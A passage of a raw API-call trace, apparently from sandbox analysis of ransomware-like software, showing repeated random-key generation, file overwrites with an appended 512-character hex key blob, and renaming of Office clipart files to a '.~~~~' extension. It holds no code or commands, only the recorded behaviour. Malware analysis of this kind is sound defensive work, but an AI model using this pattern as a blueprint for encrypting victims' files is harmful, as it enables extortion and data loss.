	[0114.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28368e0 | out: hHeap=0x300000) returned 1
	[0114.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.099] GetLastError () returned 0x0
	[0114.101] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942318) returned 1
	[0114.102] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.102] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.102] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23409261873) returned 1
	[0114.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad9be090, dwHighDateTime=0x1d60e1e)) 
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28398e8
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28398e8 | out: hHeap=0x300000) returned 1
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0114.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836d08
	[0114.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0114.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.104] GetLastError () returned 0x0
	[0114.104] GetLastError () returned 0x0
	[0114.104] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.104] GetLastError () returned 0x0
	[0114.104] GetLastError () returned 0x0
	[0114.107] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff914, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.107] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x6ec, lpOverlapped=0x0) returned 1
	[0114.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.109] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.109] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.109] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.109] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.109] CloseHandle (hObject=0x11c) returned 1
	[0114.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.109] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.~~~~")) returned 1
	[0114.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.111] GetLastError () returned 0x0
	[0114.111] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942318) returned 1
	[0114.112] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.112] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.113] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23410265280) returned 1
	[0114.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad9e41f0, dwHighDateTime=0x1d60e1e)) 
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839920
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839920 | out: hHeap=0x300000) returned 1
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836da0
	[0114.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.113] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.114] GetLastError () returned 0x0
	[0114.114] GetLastError () returned 0x0
	[0114.114] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.114] GetLastError () returned 0x0
	[0114.114] GetLastError () returned 0x0
	[0114.240] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff2ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.240] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xd16, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xd16, lpOverlapped=0x0) returned 1
	[0114.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.242] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.243] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.243] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.243] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.243] CloseHandle (hObject=0x11c) returned 1
	[0114.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837260
	[0114.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.~~~~")) returned 1
	[0114.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2837260 | out: hHeap=0x300000) returned 1
	[0114.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.245] GetLastError () returned 0x0
	[0114.318] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.319] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.319] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.319] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23430946269) returned 1
	[0114.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xadbd33d0, dwHighDateTime=0x1d60e1e)) 
	[0114.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839b50
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839b50 | out: hHeap=0x300000) returned 1
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28371c8
	[0114.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.320] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.320] GetLastError () returned 0x0
	[0114.321] GetLastError () returned 0x0
	[0114.321] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.361] GetLastError () returned 0x0
	[0114.371] GetLastError () returned 0x0
	[0114.376] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffed98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.376] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1268, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x1268, lpOverlapped=0x0) returned 1
	[0114.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.378] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.378] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.378] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.378] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.378] CloseHandle (hObject=0x11c) returned 1
	[0114.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.~~~~")) returned 1
	[0114.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.380] GetLastError () returned 0x0
	[0114.381] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.382] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.382] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23437212215) returned 1
	[0114.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xadc6b950, dwHighDateTime=0x1d60e1e)) 
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839d80
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839d80 | out: hHeap=0x300000) returned 1
	[0114.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837390
	[0114.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.383] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.383] GetLastError () returned 0x0
	[0114.383] GetLastError () returned 0x0
	[0114.383] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.383] GetLastError () returned 0x0
	[0114.384] GetLastError () returned 0x0
	[0114.386] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcd0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.386] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x32f6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x32f6, lpOverlapped=0x0) returned 1
	[0114.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.387] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.388] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.388] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.388] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.388] CloseHandle (hObject=0x11c) returned 1
	[0114.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.392] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.~~~~")) returned 1
	[0114.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.393] GetLastError () returned 0x0
	[0114.394] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0114.395] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.395] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.395] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23438513526) returned 1
	[0114.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xadc91ab0, dwHighDateTime=0x1d60e1e)) 
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839db8
	[0114.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839db8 | out: hHeap=0x300000) returned 1
	[0114.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837a18
	[0114.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.396] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.396] GetLastError () returned 0x0
	[0114.396] GetLastError () returned 0x0
	[0114.396] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.396] GetLastError () returned 0x0
	[0114.397] GetLastError () returned 0x0
	[0114.412] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8580, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.412] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x7a80, lpOverlapped=0x0) returned 1
	[0114.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.417] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.417] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.418] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.418] CloseHandle (hObject=0x11c) returned 1
	[0114.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
